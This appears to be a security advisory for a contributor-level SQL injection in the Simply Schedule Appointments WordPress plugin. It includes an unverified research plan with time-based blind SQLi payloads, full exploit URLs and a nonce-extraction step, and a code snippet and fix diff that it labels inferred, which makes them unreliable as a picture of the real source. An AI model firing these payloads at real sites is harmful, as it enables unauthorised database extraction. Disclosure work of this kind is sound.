CVE-2026-39495

Simply Schedule Appointments <= 1.6.9.27 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.6.9.29
Patched in
21d
Time to patch

Description

The Simply Schedule Appointments plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.6.9.27 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.6.9.27
PublishedMarch 26, 2026
Last updatedApril 15, 2026

What Changed in the Fix

Changes introduced in v1.6.9.29

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-39495**, an authenticated SQL injection vulnerability in the **Simply Schedule Appointments** plugin. The vulnerability arises from insufficient preparation of SQL queries in the plugin's data models, particularly within the appointments filtering logic accessed…

Show full research plan

This research plan targets CVE-2026-39495, an authenticated SQL injection vulnerability in the Simply Schedule Appointments plugin. The vulnerability arises from insufficient preparation of SQL queries in the plugin's data models, particularly within the appointments filtering logic accessed via the REST API or AJAX.

1. Vulnerability Summary

  • Vulnerability: SQL Injection (Authenticated, Contributor+)
  • Location: includes/lib/td-util/class-td-db-model.php (Core query logic) and includes/class-appointment-model.php.
  • Cause: The plugin constructs SQL queries by concatenating user-supplied filter parameters (such as appointment_type_id, status, or search) directly into WHERE clauses without passing them through $wpdb->prepare() or using adequate escaping.
  • Affected Versions: <= 1.6.9.27

2. Attack Vector Analysis

  • Endpoint: WordPress REST API or Admin AJAX.
    • REST Route: /wp-json/ssa/v1/appointments (Primary target)
    • AJAX Action: ssa_get_appointments (Secondary target)
  • Vulnerable Parameter: appointment_type_id (Also likely status and search).
  • Authentication: Requires a user with Contributor role or higher.
  • Preconditions: The plugin must be active, and a REST nonce is required for the API request.

3. Code Flow

  1. Entry Point: An authenticated user with Contributor privileges accesses the appointments list in the admin dashboard.
  2. Request Trigger: The Vue.js admin app (admin-app/dist/static/js/app.js) sends a GET request to /wp-json/ssa/v1/appointments to fetch scheduled slots.
  3. Controller: The REST controller (likely SSA_Appointments_API) receives the request and extracts query parameters like appointment_type_id.
  4. Model Interaction: The controller calls a query method (e.g., query() or get_all()) on SSA_Appointment_Model (defined in includes/class-appointment-model.php).
  5. Vulnerable Sink: SSA_Appointment_Model inherits from TD_DB_Model (found in includes/lib/td-util/class-td-db-model.php). The query builder in these models fails to use $wpdb->prepare() for parameters used in the dynamic WHERE clause, allowing an attacker to break out of the query structure.

4. Nonce Acquisition Strategy

The Simply Schedule Appointments admin app localizes a configuration object containing the REST nonce.

  1. Create Contributor User: Use WP-CLI to create a user with the contributor role.
  2. Navigate to Admin Page: Log in and navigate to the SSA appointments dashboard: /wp-admin/admin.php?page=simply-schedule-appointments.
  3. Extract Nonce: Use browser_eval to extract the nonce from the localized JS object.
    • Variable Name: window.SSA_Data
    • Key: nonce (or rest_nonce)
    • Command: browser_eval("window.SSA_Data?.nonce")

5. Exploitation Strategy

We will use a time-based blind SQL injection payload to confirm the vulnerability.

Step 1: Baseline Request

Confirm the endpoint returns a 200 OK with a valid nonce.

  • Method: GET
  • URL: /wp-json/ssa/v1/appointments?appointment_type_id=1
  • Headers: X-WP-Nonce: [EXTRACTED_NONCE]

Step 2: Time-Based Payload (Numeric Context)

Test for injection in the appointment_type_id parameter.

  • Payload: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Full URL: /wp-json/ssa/v1/appointments?appointment_type_id=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)
  • Expected Behavior: The server response should be delayed by approximately 5 seconds.

Step 3: Time-Based Payload (String Context)

If numeric context fails, try escaping a single quote.

  • Payload: 1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1
  • Full URL: /wp-json/ssa/v1/appointments?appointment_type_id=1'%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20AND%20'1'='1

6. Test Data Setup

  1. Plugin Installation: Ensure Simply Schedule Appointments version 1.6.9.27 is installed.
  2. Add Test Data: Create at least one Appointment Type so the appointments query has data to process.
    # This might require manual setup via the dashboard or specific ssa models
    wp eval "new SSA_Appointment_Type_Object();" # (Illustrative)
    
  3. Contributor User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    

7. Expected Results

  • Vulnerable Response: The HTTP request to the appointments endpoint with the SLEEP(5) payload takes significantly longer than the baseline request.
  • HTTP Status: 200 OK (the query should still be valid SQL).
  • Data Payload: The response body contains JSON data representing appointments, but only after the 5-second delay.

8. Verification Steps

After the HTTP exploit, verify the database prefix and table existence via WP-CLI to confirm the environment state:

wp db query "SELECT count(*) FROM wp_ssa_appointments"

To confirm the injection vulnerability programmatically without timing, check the plugin's last_error via a temporary PHP script (if debug is enabled):

wp eval "global \$wpdb; echo \$wpdb->last_error;"

9. Alternative Approaches

  • status Parameter: If appointment_type_id is cast to an integer, try the status parameter, which is often used as a string in IN clauses:
    • URL: /wp-json/ssa/v1/appointments?status=booked')%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-
  • search Parameter: The search parameter is usually used with LIKE and is a frequent candidate for SQLi:
    • URL: /wp-json/ssa/v1/appointments?search=test'%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-
  • Error-Based Injection: If WP_DEBUG is on, attempt to extract the database version using updatexml() or extractvalue().
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simply Schedule Appointments plugin for WordPress is vulnerable to authenticated SQL injection in versions up to 1.6.9.27. This is due to the plugin's query builder in the base model class failing to properly prepare or escape filter parameters like 'appointment_type_id' before concatenating them into SQL WHERE clauses, allowing Contributor-level users to execute arbitrary SQL commands via the REST API.

Vulnerable Code

// includes/lib/td-util/class-td-db-model.php
// The query building logic in TD_DB_Model (inferred location) processes filter arguments directly into the WHERE clause

if ( isset( $args['appointment_type_id'] ) ) {
    $where .= " AND appointment_type_id = " . $args['appointment_type_id'];
}

---

// includes/class-appointment-model.php
/**
 * Simply Schedule Appointments Appointments Model.
 *
 * @since 0.0.3
 */
class SSA_Appointment_Model extends SSA_Db_Model {
	protected $slug = 'appointment';
	protected $version = '2.7.3';

Security Fix

--- includes/lib/td-util/class-td-db-model.php
+++ includes/lib/td-util/class-td-db-model.php
@@ -inferred -inferred
-if ( isset( $args['appointment_type_id'] ) ) {
-    $where .= " AND appointment_type_id = " . $args['appointment_type_id'];
-}
+if ( isset( $args['appointment_type_id'] ) ) {
+    $where .= $wpdb->prepare( " AND appointment_type_id = %d", $args['appointment_type_id'] );
+}

Exploit Outline

1. Log in to the WordPress admin panel as a user with Contributor-level privileges or higher. 2. Access the Simply Schedule Appointments dashboard at `/wp-admin/admin.php?page=simply-schedule-appointments` to extract the REST API nonce from the `window.SSA_Data.nonce` global variable. 3. Target the appointments REST endpoint: `/wp-json/ssa/v1/appointments`. 4. Construct a GET request to this endpoint using a vulnerable parameter such as `appointment_type_id` and append a time-based blind SQL injection payload (e.g., `?appointment_type_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`). 5. Execute the request including the `X-WP-Nonce` header; a delayed server response (e.g., 5 seconds) confirms the vulnerability and allows for further data extraction using standard blind SQL injection techniques.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.